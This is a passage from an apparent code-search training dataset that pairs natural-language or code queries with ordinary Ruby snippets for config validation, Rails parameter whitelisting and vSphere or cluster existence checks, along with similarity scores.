"def validate_properties\n if property_is_set?(:config_templates) && property_is_set?(:config_string)\n Chef::Log.fatal('Conflicting property values! Only one of config_string or config_templates can be set.')\n raise\n elsif !property_is_set?(:config_templates) && !property_is_set?(:config_string)\n Chef::Log.fatal('One of config_templates or config_string must be set!')\n raise\n end\n end",
"def cdg_configuration_params\n params.require(:cdg_configuration).permit(:name, :value, :is_default)\n end",
"def api_configuration_params\n\t\tparams.require(:api_configuration).permit(:client_id, :client_secret)\n\tend",
"def validate_config()\n error_msg = help_string()\n if @config['env'] == nil then raise error_msg end\n fail = false\n @required_env_vars.each do |v|\n if @config['env'][v] == nil\n error_msg += \"\\n--->Missing env var #{v}\\n\"\n fail = true\n end\n end\n @required_config_sections.each do |v|\n if @config[v] == nil\n error_msg += \"\\n--->Missing config file section #{v}\\n\"\n fail = true\n end\n end\n if fail then raise error_msg end\n end",
"def add_config! key, config\n key = validate_new_key! key\n @defaults[key] = config\n @validators[key] = SUBCONFIG\n end",
"def process_arguments\n if @options.config != nil\n if File.exist?(@options.config)\n load_config_file \n @config.each do |k, v|\n @project = v\n\n#need to do \n\n end\n else\n error(\"Config file does not exist\")\n end\n else\n @project = @options.project || \"NA\"\n @sub_dir = @options.sub_dir || \"NA\"\n @outname = @options.outname || @options.sub_dir\n @outdir = @options.outdir || $config[\"outdir\"]\n @bams = @options.bams\n @c_design = @options.c_design || nil\n @queue = @options.queue || $config[\"queue\"]\n @ref = @options.ref || \"hg19\"\n @rg_id = @options.rg_id || $config[\"rg\"][\"rg_id\"]\n @sample = @options.sample || \"NA\"\n\n end\n end",
"def validate(option)\n unless Config.settings.keys.include?(option.to_sym)\n raise Errors::InvalidConfigOption.new(option)\n end\n end",
"def validate(option)\n unless Config.settings.keys.include?(option.to_sym)\n raise Errors::InvalidConfigOption.new(option)\n end\n end",
"def api_config_params\n params.require(:api_config).permit(:username, :password, :security_token, :client_id, :client_secret)\n end",
"def params\n begin\n YAML::load(File.open(@config))\n rescue\n {}\n end\n end",
"def a_serverconfiguration_params\n params.require(:a_serverconfiguration).permit(:ipdevice, :networkmask, :gateway, :dns1, :url_server, :refreshtime, :refreshtime_error)\n end",
"def conf_params\n params.require(:conf).permit(:custom, :player_id, :game_id)\n end",
"def declare_configuration_options\n ws.config.declare \"daemon_polling_period\", \"string\",\n default: \"60\",\n doc: \"Enter the github polling period\"\n\n ws.config.declare \"daemon_buildbot_host\", \"string\",\n default: \"localhost\",\n doc: \"Enter builbot host/ip\"\n\n ws.config.declare \"daemon_buildbot_port\", \"string\",\n default: \"8010\",\n doc: \"Enter buildbot http port\"\n\n ws.config.declare \"daemon_project\", \"string\",\n default: File.basename(ws.root_dir),\n doc: \"Enter the project name\"\n\n ws.config.declare \"daemon_max_age\", \"string\",\n default: \"120\",\n doc: \"Enter events and pull requests max age\"\n end",
"def check\n if @config['name'].nil?\n Utils.fail('in your configuration file: no name given')\n end\n\n if @config['hosts']\n unless @config['hosts'].is_a? Array\n Utils.fail('hosts should be an array')\n end\n\n @config['hosts'].each_with_index do |h, i|\n if h['im_mad'].nil?\n Utils.fail(\"in configuration file: no im_mad #{i + 1}\")\n end\n\n if h['vm_mad'].nil?\n Utils.fail(\"in configuration file: no vm_mad #{i + 1}\")\n end\n\n next unless h['provision']['hostname'].nil?\n\n Utils.fail(\"in configuration file: no hostname #{i + 1}\")\n end\n end\n\n if @config['datastores']\n unless @config['datastores'].is_a? Array\n Utils.fail('datastores should be an array')\n end\n\n @config['datastores'].each_with_index do |d, i|\n if d['tm_mad'].nil?\n Utils.fail(\"in configuration file: no tm_mad #{i + 1}\")\n end\n\n next if d['type']\n\n next if d['ds_mad']\n\n Utils.fail(\"in configuration file: no ds_mad #{i + 1}\")\n end\n end\n\n return unless @config['networks']\n\n unless @config['networks'].is_a? Array\n Utils.fail('networks should be an array')\n end\n\n @config['networks'].each_with_index do |n, i|\n next unless n['vn_mad'].nil?\n\n Utils.fail(\"in configuration file: no vn_mad #{i + 1}\")\n end\n end",
"def configuration\n cfg = {:default_policy => @default_policy.to_s, :disabled_prompt => @disabled_prompt, :delimiter => @delimiter, :ip => @ip,\n :log_accounting => @log_accounting, :log_authentication => @log_authentication, :log_authorization => @log_authorization,\n :log_level => @logger_level, :login_prompt => @login_prompt, :max_clients => @max_clients, :password_expired_prompt => @password_expired_prompt,\n :password_prompt => @password_prompt, :port => @port, :sock_timeout => @sock_timeout, :testing => @testing }\n cfg[:dump_file] = @dump_file if (@dump_file)\n cfg[:key] = @key if (@key)\n cfg[:logger] = @logger if (@logger)\n cfg[:name] = @name if (@name)\n return(cfg)\n end",
"def values\n VALID_CONFIGURATION_KEYS.inject({}){|o,k| o.merge!(k => send(k)) }\n end",
"def app_config_params\n params.require(:app_config).permit(:name, :value, :app_id)\n end",
"def store_config_credentials(user, options={})\n set_config(\"#{credential_config_key}.user\", user)\n if (token = options.delete(:token))\n set_config(\"#{credential_config_key}.token\", token)\n elsif (password = options.delete(:password))\n set_config(\"#{credential_config_key}.password\", password)\n else\n warn \"no token or password set\"\n false\n end\n end",
"def configurations; end",
"def userconfig_params\n params.require(:userconfig).permit(:nombre, :apellidop, :apellidom, :descripcion)\n end",
"def test_config\n load_config\n assert(@config.key?('user'))\n assert(@config.key?('pass'))\n assert(@config.key?('port'))\n assert(@config.key?('uri'))\n assert(@config.key?('callback_host'))\n assert(@config.key?('autopwn_url'))\n end",
"def config=(*args); end",
"def config=(*args); end"
] |
[
"0.6727885",
"0.65217656",
"0.64720184",
"0.6421335",
"0.64016455",
"0.6400702",
"0.63585347",
"0.63338643",
"0.6331395",
"0.63058406",
"0.6288445",
"0.62852025",
"0.6265824",
"0.6232755",
"0.62223506",
"0.61870515",
"0.61805886",
"0.6154504",
"0.61076",
"0.61076",
"0.6104867",
"0.6103509",
"0.6004829",
"0.60037565",
"0.6003307",
"0.5991641",
"0.5969578",
"0.595968",
"0.59506196",
"0.59477246",
"0.5937639",
"0.59314513",
"0.59186846",
"0.5918254",
"0.5906537",
"0.5895652",
"0.589522",
"0.58714056",
"0.5867977",
"0.58631504",
"0.5844768",
"0.5843263",
"0.5843263",
"0.5839317",
"0.5835438",
"0.58231086",
"0.5805777",
"0.5804133",
"0.5802294",
"0.5802294",
"0.5797524",
"0.5785767",
"0.5784448",
"0.5783843",
"0.57646847",
"0.5752438",
"0.5741843",
"0.57396835",
"0.5720903",
"0.5708927",
"0.57050854",
"0.57017857",
"0.5699292",
"0.5698037",
"0.568651",
"0.56837136",
"0.56715196",
"0.56715196",
"0.56715196",
"0.56715196",
"0.56715196",
"0.56648433",
"0.56622237",
"0.5647441",
"0.56364906",
"0.56351554",
"0.5631532",
"0.56249404",
"0.5603926",
"0.560254",
"0.5599824",
"0.5598757",
"0.55970025",
"0.5587336",
"0.5587336",
"0.5584222",
"0.558419",
"0.5577233",
"0.55715454",
"0.5561986",
"0.5561209",
"0.55320245",
"0.5530667",
"0.55210775",
"0.5513703",
"0.5512101",
"0.55073744",
"0.5494773",
"0.549425",
"0.549425"
] |
0.6365
|
6
|
A helper method to validate the state
|
def validate_state(state = {}); end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_state\n errors.add(:state, \"must be yes, no or don't care\") unless state_changed? and %w(yes no dont_care).include? changes['state'][1]\n end",
"def invalid?\n !@state\n end",
"def verify(state) ; end",
"def is_valid; end",
"def valid; end",
"def is_valid_state(state)\n temp_state = @state\n @state = temp_state\n\n if all_valid\n @state = temp_state\n return true\n else\n @state = temp_state\n return false\n end\n end",
"def is_valid?\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?(_) true end",
"def valid?(_) true end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid_state?(state_class)\n state_class.is_a?(Class) && state_class < State\n end",
"def validate\n valid?\n end",
"def validate\r\n @invalid=false\r\n end",
"def is_valid\n\tend",
"def is_valid\n\tend",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def is_valid\n return true\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n end",
"def valid?\n end",
"def valid?\n end",
"def valid?\n end",
"def validate!\n # pass\n end",
"def validate\n @invalid=false\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n true\n end",
"def assert_state(state, value)\n raise InvalidStateError.new unless state[-1] == value\n end",
"def state_guard?(state_id)\n return false\n end",
"def test_invalid_state\n owner = people(:valid_person)\n rule = Rule.new(:person_id=>owner.id,\n :rule_name=>\"test\",\n :state=>\"aaaactive\",\n :logic=>\"and\")\n assert !rule.valid?\n # The state field should have validation errors\n assert rule.errors[:state].any?\n end",
"def validate\n end",
"def validate_checksum_state\n super\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def validated?; end",
"def validate_state_table(table = nil)\n table ||= get_state_table(no_raise: false)\n meths = self.is_a?(Module) ? instance_methods : self.class.methods\n states = table.keys\n errors = []\n table.each_pair do |state, config|\n\n # === Check optional note\n if config.key?(:note)\n item = \"#{state}[:note]\"\n note = config[:note]\n if !note.is_a?(Proc) && !note.is_a?(Symbol) && !note.is_a?(String)\n errors << \"#{item}: invalid class #{note.class}\"\n elsif note.is_a?(Symbol) && !meths.include?(note)\n errors << \"#{item}: invalid method #{note.inspect}\"\n end\n end\n\n # === Check optional method\n if config.key?(:meth)\n item = \"#{state}[:meth]\"\n meth = config[:meth]\n if !meth.is_a?(Proc) && !meth.is_a?(Symbol)\n errors << \"#{item}: invalid class #{meth.class}\"\n elsif meth.is_a?(Symbol) && !meths.include?(meth)\n errors << \"#{item}: invalid method #{meth.inspect}\"\n end\n end\n\n # === Check next states\n item = \"#{state}[:next]\"\n next_states = config[:next]\n if !config.key?(:next)\n errors << \"#{item} missing\"\n elsif next_states.is_a?(FalseClass)\n # Valid terminal state.\n elsif !next_states.is_a?(Array) && !next_states.is_a?(Symbol)\n errors << \"#{item} invalid class #{next_states.class}\"\n elsif next_states.blank?\n errors << \"#{item} empty\"\n else\n (Array.wrap(next_states) - states).each do |invalid|\n errors << \"#{item}: invalid state #{invalid.inspect}\"\n end\n end\n\n end\n raise errors.join(\"; \\n\") if errors.present?\n end",
"def validate; end",
"def validate; end",
"def validate; end",
"def validate; end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def validate\n \n \n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end"
] |
[
"0.7685361",
"0.7204157",
"0.71687615",
"0.70502776",
"0.69686997",
"0.69333065",
"0.6869811",
"0.68592036",
"0.68433756",
"0.68433756",
"0.6837611",
"0.6837611",
"0.6837611",
"0.6837611",
"0.6837611",
"0.6824323",
"0.6823994",
"0.682069",
"0.6801818",
"0.6801818",
"0.6798891",
"0.6790007",
"0.6753402",
"0.6744507",
"0.6744507",
"0.6744507",
"0.6744507",
"0.6735141",
"0.67230713",
"0.6717685",
"0.6707732",
"0.67011076",
"0.6692413",
"0.66869384",
"0.6680272",
"0.66752577",
"0.6661921",
"0.6661921",
"0.665962",
"0.66366243",
"0.6633639",
"0.6633639",
"0.6633639",
"0.6633639",
"0.6624754",
"0.6624572",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937",
"0.6612937"
] |
0.8486307
|
1
|
Sees in the datacenter exists or not
|
def datacenter_exists?(name)
filter = Com::Vmware::Vcenter::Datacenter::FilterSpec.new(names: Set.new([name]))
dc_obj = Com::Vmware::Vcenter::Datacenter.new(vapi_config)
dc = dc_obj.list(filter)
raise format("Unable to find data center: %s", name) if dc.empty?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def datacenter_exists?(folder, name)\n dc_api = VSphereAutomation::VCenter::DatacenterApi.new(api_client)\n raise_if_unauthenticated dc_api, \"checking for datacenter `#{name}`\"\n\n opts = { filter_names: name }\n opts[:filter_folders] = get_folder(folder, \"DATACENTER\") if folder\n dcs = dc_api.list(opts).value\n\n raise_if_missing dcs, format(\"Unable to find data center `%s`\", name)\n end",
"def in_remote_datacenter?\n @host.collins_location != Plugin::JetCollins.datacenter\n end",
"def exists?\n\t\t# Look for cluster\n\t\t@cluster_id = DSMAPIServer.find_server(@resource[:name], @resource[:storagecenter])\n\t\tif @cluster_id == nil\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend",
"def cluster_initialized?(data_dir)\n ::File.exist?(version_file_for(data_dir))\n end",
"def cluster_initialized?(data_dir)\n ::File.exist?(version_file_for(data_dir))\n end",
"def data_set_exists?\n !BasicInterfaceRegister[@data_lib][@data_set_name].nil?\n end",
"def exist?(cccc)\n not find_data_by_cccc(cccc).nil?\n end",
"def raise_if_no_exists_in_vcenter\n raise 'vCenter device does not exist at the moment' unless exists?\n end",
"def exist?(cccc)\n !find_data_by_cccc(cccc).nil?\n end",
"def exists?\n\n\t\tbegin\n\t\t\tdom\n\t\t\tdebug \"Domain %s exists? true\" % [resource[:name]]\n\t\t\ttrue\n\t\trescue Libvirt::RetrieveError => e\n\t\t\tdebug \"Domain %s exists? false\" % [resource[:name]]\n\t\t\tfalse # The vm with that name doesnt exist\n\t\tend\n\n\tend",
"def exists?\n\t\tbegin\n\t\t\tdom\n\t\t\tdebug \"Domain %s exists? true\" % [resource[:name]]\n\t\t\ttrue\n\t\trescue Libvirt::RetrieveError => e\n\t\t\tdebug \"Domain %s exists? false\" % [resource[:name]]\n\t\t\tfalse # The vm with that name doesnt exist\n\t\tend\n\tend",
"def exist?\n self.class.exists?(dn)\n end",
"def exist\n\treturn true\n end",
"def data_exist?\n\t\tFile.exist? self.data_path\n\tend",
"def exists?\n !data.empty?\n end",
"def exist?\n nil\n end",
"def exist?\n true\n end",
"def exists_on_cloud?(name)\n ret_val = @connection.query_azure(\"storageservices/#{name}\")\n error_code, error_message = error_from_response_xml(ret_val) if ret_val\n if ret_val.nil? || error_code.length > 0\n Chef::Log.warn 'Unable to find storage account:' + error_message + ' : ' + error_message if ret_val\n false\n else\n true\n end\n end",
"def exist?\n\t\t\tClient.head @root\n\t\tend",
"def exists?()\n\t\t\treturn @metadata.exists?\n\t\tend",
"def data_exist?\n\t\tlocal? || File.exist?(self.data_path)\n\tend",
"def server_exist?(server_name)\n compute = find_match(@compute.servers, server_name)\n Puppet.debug \"found server #{compute.name}\" if compute != nil\n Puppet.debug \"server not found : #{server_name}\" if compute == nil\n return (compute != nil)\n end",
"def has_host?(wspace,addr)\n\t\twspace.hosts.find_by_address(addr)\n\tend",
"def exists_on_server?\n false\n end",
"def exist?\n !count.zero?\n end",
"def exists?\n\t\t# Look for volume\n\t\t@vol_id = DSMAPIVolume.find_volume(@resource[:name], @resource[:storagecenter])\n\t\tif @vol_id == nil\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend",
"def exists?\n @lxc.exists?(self.name)\n end",
"def keg_exists?\n !database.get(keg_name).nil?\n end",
"def exist?(*args)\n get(*args)\n true\n rescue Veil::GroupNotFound, Veil::CredentialNotFound\n false\n end",
"def kvm_exists?(kvm_name)\n begin\n virt.lookup_domain_by_name(kvm_name)\n true\n rescue Libvirt::RetrieveError\n false\n end\nend",
"def usable_datastore?(datastore)\n return false if is_internal_nfs_datastore?(datastore[\"name\"])\n\n return false unless datastore[\"summary.accessible\"]\n\n return true unless is_local_datastore?(datastore[\"name\"])\n\n resource[:skip_local_datastore] == :false\n end",
"def can_create_cluster?(project)\n project.clusters.empty?\n end",
"def checkServerExists(serverName)\n serverUrl = @appContext.getMasterURL() + \"/applications/\" + @appContext.getProject() + \"/assets/\" + serverName\n\n serverResult = @cloudmunchDataService.getDataForContext(serverUrl, @appContext.getAPIKey(), \"\")\n if serverResult == nil then \n return nil\n else\n serverResult = JSON.parse(serverResult)\n serverData = serverResult[\"data\"]\n if serverData.nil? then\n log(\"ERROR\", \"Server does not exist\") \n return false\n else\n return true\n end\n end\n end",
"def is_dc?\n\t\tis_dc_srv = false\n\t\tserviceskey = \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\"\n\t\tif registry_enumkeys(serviceskey).include?(\"NTDS\")\n\t\t\tif registry_enumkeys(serviceskey + \"\\\\NTDS\").include?(\"Parameters\")\n\t\t\t\tprint_good(\"\\tThis host is a Domain Controller!\")\n\t\t\t\tis_dc_srv = true\n\t\t\tend\n\t\tend\n\t\treturn is_dc_srv\n\tend",
"def exists?\n certificate_chain = client(resource).certificate_chain(resource[:private_key_alias], resource[:intermediate_path], resource[:authorizable_id])\n result = certificate_chain.exists\n\n result.data\n end",
"def has_rackspace_metadata?\n status, stdout, stderr = xenstore_command(\"read\", \"vm-data/provider_data/provider\")\n if status == 0\n stdout.strip.downcase == 'rackspace'\n else\n false\n end\nend",
"def exists?\n\t\tprovider.exists?\n\tend",
"def exists?\n\t\tprovider.exists?\n\tend",
"def is_dc?\n is_dc_srv = false\n serviceskey = 'HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services'\n if registry_enumkeys(serviceskey).include?('NTDS')\n if registry_enumkeys(serviceskey + '\\\\NTDS').include?('Parameters')\n print_good(\"\\tThis host is a Domain Controller!\")\n is_dc_srv = true\n end\n end\n return is_dc_srv\n end",
"def exists?\n return File.exists?(\"/tmp/cloud-#{resource[:name]}\")\n end",
"def exists?\n return File.exists?(\"/tmp/cloud-#{resource[:name]}\")\n end",
"def exists?\n return File.exists?(\"/tmp/cloud-#{resource[:name]}\")\n end",
"def existent; end",
"def contains_datastore?(id)\n contains_resource?('DATASTORES/ID', id)\n end",
"def exist?\n workspace_info.exist?\n end",
"def data_set_exists?\n Pathname.new(header_file_full_path).exist?\n end",
"def exist?(service)\n !service_list[service].nil?\n end",
"def tenant_database_must_exist\n begin\n Apartment::Tenant.process(tenant_name)\n true\n rescue Apartment::DatabaseNotFound => e\n errors.add :base, \"Tenant database must exist before Customer record is created.\"\n end\n end",
"def dt_service_exist?\n pattern = /#{DT_SERVICE_NAME}/\n candidates = @services.select do |candidate|\n (\n (candidate['label'] == 'user-provided' && candidate['name'] =~ pattern) ||\n candidate['label'] =~ pattern ||\n (!candidate['tags'].nil? && candidate['tags'].any? { |tag| tag =~ pattern })\n ) &&\n !candidate[CREDENTIALS_KEY].nil? &&\n candidate[CREDENTIALS_KEY][SERVER_KEY] &&\n !candidate[CREDENTIALS_KEY]['environmentid']\n end\n\n raise 'Multiple valid dynatrace services exist.' if candidates.length > 1\n\n candidates.one?\n end",
"def dynatrace_service_exist?\n @services.one_service? DYNATRACE_SERVICE_NAME, [ENVIRONMENTID, TENANT], [APITOKEN, TENANTTOKEN]\n end",
"def resource_exists?\n ciudades\n end",
"def dnskey_already_present?\n domain.dnskeys.pluck(:public_key).map { |key| key.gsub(/\\s+/, '') }.include? dnskey.public_key\n end",
"def host_exists?(host)\n `#{cmk} --list-hosts`.split(/\\n/).include?(host)\n end",
"def ready?\n return false unless exists?\n instance_arns = ecs_client.list_container_instances(cluster: name).container_instance_arns\n return false if instance_arns.nil? or instance_arns.empty?\n res = ecs_client.describe_container_instances(\n cluster: name,\n container_instances: instance_arns\n )\n # unless res.respond_to?(\"container_instances\") or\n # res.container_instances.nil?\n # return false\n # end\n res.container_instances.all? {|i| i.status == \"ACTIVE\" }\n end",
"def znode_exists?(znode_path, zk_host=\"localhost:2181\")\n require 'rubygems'\n require 'zookeeper'\n znode_found = false\n begin\n @zk = Zookeeper.new(zk_host)\n if !@zk.connected?\n raise \"znode_exists : Unable to connect to zookeeper\"\n end \n r = @zk.get(:path => znode_path)\n if r[:rc] == 0\n znode_found = true\n end \n rescue Exception => e\n puts e.message\n ensure\n @zk.close unless @zk.closed?\n end\n return znode_found\nend",
"def exists?\n\t\treturn false\n\tend",
"def exist?\n !find_exists.nil?\n end",
"def nas?\n @domain.include?(:NAS)\n end",
"def cdb_has_key?(name)\n Chef::CouchDB.new.has_key?(\"webui_user\", name)\n end",
"def exists?\n hba\n end",
"def exist?(domain)\n Domain.all(:name => domain).any?\n end",
"def active_instance_dir_exists?\n return File.directory?( @resource['instances_dir'] + \"/\" + @resource[:name] )\n end",
"def exists?()\n #This is a stub, used for indexing\n end",
"def exists?\n begin \n CouchSpring.get uri\n true\n rescue\n false\n end \n end",
"def exists?\n vnic\n end",
"def station_exist?(station)\n raise \"station don\\'t exist\" unless get_station(station)\n true\n end",
"def exists?\n @executor.call({\n command: :keyspaces,\n transformer_arguments: {\n executor: @executor,\n },\n }).any? { |keyspace| keyspace.name == @name }\n end",
"def exist?(key)\n jiak.client.exist?(jiak.bucket,key)\n end",
"def exists?\n !service.get_table(instance_id, name, view: :NAME_ONLY).nil?\n rescue Google::Cloud::NotFoundError\n false\n end",
"def exists?\n !count.zero?\n end",
"def has_analysis_data?\n sql = \"select count(*) as c from `#{@@analysis_db}`.`#{self.analysis_table_name} - raw`\"\n results = @@client.exec_query(sql)\n return results.present? && results.first['c'] > 0\n end",
"def exists?\n begin \n CouchDB.get uri\n true\n rescue\n false\n end \n end",
"def ready?\n q = get_connection(\"network\")\n \n network = q.networks.select {|n| n.name == self.network}\n if network.empty?\n return false, \"Network #{self.network} does not exist on the tenant.\"\n end\n\n types = Array.new\n self.instances.each do |inst|\n types << inst.types\n end\n types.flatten!\n duplicates = types.select{|t| types.count(t) > 1}\n if duplicates.include?(\"named\")\n return false, \"Named is a component on multiple instances\" # If named is included more than once\n end\n if duplicates.include?(\"datastore\") && duplicates.count(\"datastore\") < 3\n return false, \"There are 2 mongodb hosts, there must be either one or more than two.\"\n end\n if self.valid_gear_sizes == []\n return false, \"No gear sizes are defined\"\n end\n limits = self.limits\n if limits[:max_instances] < self.instances.count\n return false, \"There are more #{self.instances.count - limits[:max_instances]} more instances than the project limit of \\\"#{limits[:max_instances]}\\\" allows.\"\n end\n types.uniq!\n types.compact!\n if types.sort == [\"named\", \"broker\", \"datastore\", \"activemq\", \"node\"].sort\n true\n else\n return false, \"All necessary components are not included: \" + types.join(\",\")\n end\n end",
"def exist?\n request(:get)\n true\n rescue Stretcher::RequestError::NotFound\n false\n end",
"def vm_exists?(uuid)\n end",
"def pdb_get_datacenter(facts)\n if facts.is_a?(Hash) && !facts['trusted'].nil? && !facts['trusted']['value'].nil? && !facts['trusted']['value']['extensions'].nil? && !facts['trusted']['value']['extensions']['pp_datacenter'].nil?\n datacenter = facts['trusted']['value']['extensions']['pp_datacenter']\n Puppet.info(\"#{log_prefix} puppet datacenter for node is: datacenter=#{datacenter}\")\n datacenter\n else\n \"Unknown\"\n end\n end",
"def any_enterprise_exists?\n return @enterprises unless @enterprises.nil?\n enterprises = ctl_command([\"list\", \"enterprises\"])\n @enterprises = (enterprises.chomp.length > 0)\n rescue Setup::Exceptions::EnterpriseCtlCommandFailed\n # Most likely to occur if the server is not yet configured or is shut down\n # Future iterations will add more granularity so that we can report\n # meaningful next steps (complete setup first, start services, etc)\n false\n end",
"def exists?\n retrieve\n true\n rescue Error::NoSuchKey\n false\n end",
"def on_digital_ocean?\n digital_ocean != nil\n end",
"def on_digital_ocean?\n digital_ocean != nil\n end",
"def sshd_service_exists?\n # FIXME: We should probably check exit status rather than AIX-specific error codes.\n output=ssh_command(\"#{config[:sudo]} #{config[:clogin]} #{config[:wpar_name]} #{config[:lssrc]} -s sshd\", :stderr)\n if output.include?('0513-085') # 0513-085 The sshd Subsystem is not on file.\n return false\n end\n true\n end",
"def exist?\n @lock.synchronize { valid? }\n end",
"def exists?\n return @result unless @result.nil?\n raw_result = read_resource_recursive\n unless raw_result[:result]\n Puppet.debug 'Security Domain does NOT exist'\n return false\n end\n Puppet.debug(\"Raw result: #{raw_result.inspect}\")\n @result = resolve_state(raw_result[:data], @resource)\n @result\n end",
"def find_datastore(datacenter, ds_name)\n dc = datacenter\n base_entity = dc.datastore\n base_entity.find { |f| f.info.name == ds_name } \\\n || abort(\"no such datastore #{ds_name}\")\nend",
"def exist?\n @resource.exist?\n end",
"def has_catalog?\n false\n end",
"def exists?\n if resource[:force] == true\n false\n else\n package = client(resource).package(resource[:group], resource[:name], resource[:version])\n package.is_installed.data\n end\n end",
"def exist?\n raise NotImplementedError\n end",
"def repo_object_exists?\n @repo_object_exists ||= batch_item.repo_object_exists?\n end",
"def master_has_catalog?(replica_catalog, master_catalogs)\n master_catalogs.each { |master_catalog| return true if replica_catalog['certname'] == master_catalog['certname'] }\n host.logger.warn(\"master doesn't have catalog with hash '#{replica_catalog['certname']}', which is on replica\")\n false\n end",
"def exists?\n get_lxd_config_value(resource[:config]) != nil\n end",
"def exists?\n result = loaddata\n unless result[:result]\n Puppet.debug 'JMS Queue do not exists'\n return false\n end\n true\n end",
"def vm_exists?(pool_name, vm_name)\n !get_vm(pool_name, vm_name).nil?\n end",
"def vm_exists?(pool_name, vm_name)\n !get_vm(pool_name, vm_name).nil?\n end",
"def exist_initial_data\n return Setting.where(\"domain_id = #{self.id}\").count > 1\n end",
"def exists?\n !group_info.entries.empty?\n end",
"def multiple_clusters_available?\n false\n end",
"def host_exists?(host)\n # :nocov:\n # Patch for BZ840938 to support Ruby 1.8 on machines without /etc/resolv.conf\n dns = Resolv::DNS.new((Resolv::DNS::Config.default_config_hash || {}))\n dns.getresources(host, Resolv::DNS::Resource::IN::A).any?\n # :nocov:\n end",
"def exist?(data)\n (! data.nil?) && (! data.empty?)\n end",
"def exist?\n @access.exist?\n end"
] |
[
"0.7077185",
"0.70334375",
"0.70077485",
"0.6645091",
"0.66017485",
"0.6539742",
